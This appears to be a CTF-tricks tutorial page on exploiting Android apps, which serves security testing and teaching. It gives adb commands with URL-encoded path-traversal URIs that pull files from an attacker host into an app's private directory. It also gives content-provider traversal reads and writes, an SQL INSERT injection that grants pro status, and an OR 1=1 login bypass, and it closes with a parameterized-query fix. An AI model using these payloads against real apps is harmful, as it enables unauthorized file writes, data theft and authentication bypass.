> For the complete documentation index, see [llms.txt](https://sarpers-organization.gitbook.io/ctftricks/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://sarpers-organization.gitbook.io/ctftricks/_chapter-intro-9/android/mobile-android-vulnerability-exploitation.md).

# Vulnerability Exploitation

## Android Intent Path Traversal File Write

When an Android application processes an Intent with a URI and attempts to copy or access a file based on the URI path, it can be vulnerable to path traversal if the path is not properly sanitized. By crafting a malicious URI containing path traversal sequences (`../` or its URL-encoded form `%2F..%2F`), an attacker can potentially cause the application to write a file to an unintended location outside the target directory, possibly within the application's own data directory (`/data/data/package.name/`).

For example, if an activity expects a URI like `http://attacker.com/file.pdf` and copies it to a local directory, crafting a URI like `http://attacker.com/..%2F..%2F..%2Fdata%2Fdata%2Fpackage.name%2Ffiles%2Fmalicious.pdf` can force the application to write the file to `/data/data/package.name/files/malicious.pdf` instead of the intended download location.

When testing Android applications, exploiting vulnerable Intent handling is common. The `adb shell am start` command is invaluable for this. You can launch an activity directly using its component name (`-n package.name/.ActivityName`) and pass data via a URI (`-d uri`). Path traversal attacks often involve crafting the URI with sequences like `../` or its URL-encoded form `%2F..%2F` to escape intended directories. Targeting application private data directories like `/data/data/package.name/` is a common goal.

The exploitation often involves using the `adb shell am start` command to launch the vulnerable activity with the crafted intent. Exported components can be tested using this command.

For instance, targeting a vulnerable document viewer application that handles HTTP URIs:

```bash
adb shell am start -a android.intent.action.VIEW -n com.mobilehackinglab.documentviewer/.MainActivity -d "http://IPADDRESS:8000/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fdata%2Fdata%2Fcom.mobilehackinglab.documentviewer%2Ffiles%2Ftesttest.pdf"
```

This command starts the `MainActivity` of the `com.mobilehackinglab.documentviewer` package, passing a crafted HTTP URI via the `-d` flag. The numerous `%2F..%2F` sequences traverse up directories until the path resolves relative to a location from which `/data/data/com.mobilehackinglab.documentviewer/files/testtest.pdf` becomes the target write path. The application is using Intent to handle the URI and copy the file based on the URI path, demonstrating a path traversal vulnerability.

Another example using a `file:///` scheme might look like this:

```bash
adb shell am start -n com.vulnerable.app/.FileHandler -d "file:///sdcard/downloads/../data/data/com.vulnerable.app/files/sensitive.txt"
```

This command targets the `FileHandler` activity in `com.vulnerable.app`, attempting to write `sensitive.txt` into the application's private data directory by traversing up from `/sdcard/downloads`.

Path traversal vulnerabilities can also affect applications that expose Content Providers. If a Content Provider is vulnerable to path traversal, an attacker can access sensitive files outside the application's data directory or write malicious files. This can be exploited using `adb shell am start` with a `content://` URI.

For example, to attempt to read a file outside the intended directory via a vulnerable Content Provider:

```bash
adb shell am start -d 'content://com.vulnerableapp.fileprovider/root/../secrets.txt' com.vulnerableapp
```

To attempt to write a file outside the intended directory using the `SEND` action via a vulnerable Content Provider:

```bash
adb shell am start -d 'content://com.vulnerableapp.fileprovider/root/../malicious.sh' -t 'application/octet-stream' -a android.intent.action.SEND com.vulnerableapp
```

This command attempts to send data to the Content Provider, directing it to write to `/malicious.sh` outside the intended `root` directory. These examples illustrate how `adb shell am start` combined with crafted URIs can be used to test for and exploit path traversal vulnerabilities in different Android components handling external data.

***

## Android SQLi Privilege Escalation via Insert

When an Android app uses string concatenation to build an SQL `INSERT` query, such as `INSERT INTO users (username, password, address, isPro) VALUES ('" + Username + "', ...)` unsanitized input in a field like `Username` can allow injecting arbitrary values for later columns in the row being created.

Craft a payload that closes the initial string, provides desired values for the following columns (e.g., skipping password/address and setting `isPro`), terminates the statement, and comments out the rest of the original query:

```sql
test','','',1); --
```

Injecting this into the `Username` field transforms the original query into something like:

```sql
INSERT INTO users (username, password, address, isPro) VALUES ('test','','',1); --', 'encodedPassword', 'encodedAddress', 0);
```

This creates a new user named 'test' where `isPro` is set to `1`. The `); --` part terminates the injected statement and comments out the remaining original query string (`', 'encodedPassword', 'encodedAddress', 0);`).

This vulnerability arises directly from constructing SQL queries by concatenating strings that include user-supplied input. A common example of this pattern, often found in authentication logic, involves building a `SELECT` query like this:

```java
String query = "SELECT * FROM users WHERE username = '" + username + "' AND password = '" + password + "'";
Cursor cursor = db.rawQuery(query, null);
```

In such a case, injecting a payload like `' OR '1'='1` into the `username` field can bypass authentication entirely. The query becomes:

```sql
SELECT * FROM users WHERE username = '' OR '1'='1' AND password = '...'
```

Since `'1'='1'` is always true, the `WHERE` clause evaluates to true for the first user found (or all users before the `AND`), allowing login without valid credentials. The comment characters (`--` in SQL) are often used at the end of an injected statement to ignore the rest of the original query string, preventing syntax errors.

To prevent such vulnerabilities, it is crucial to avoid building SQL queries using string concatenation with user input. Instead, use parameterized queries, which separate the SQL command from the values being inserted or queried. In Android's SQLite, this is done using `?` placeholders and providing arguments in a separate array:

```java
String query = "SELECT * FROM users WHERE username = ? AND password = ?";
Cursor cursor = db.rawQuery(query, new String[]{username, password});
```

Using parameterized queries ensures that the values provided by the user are treated strictly as data and not as executable SQL code, effectively mitigating the risk of SQL injection.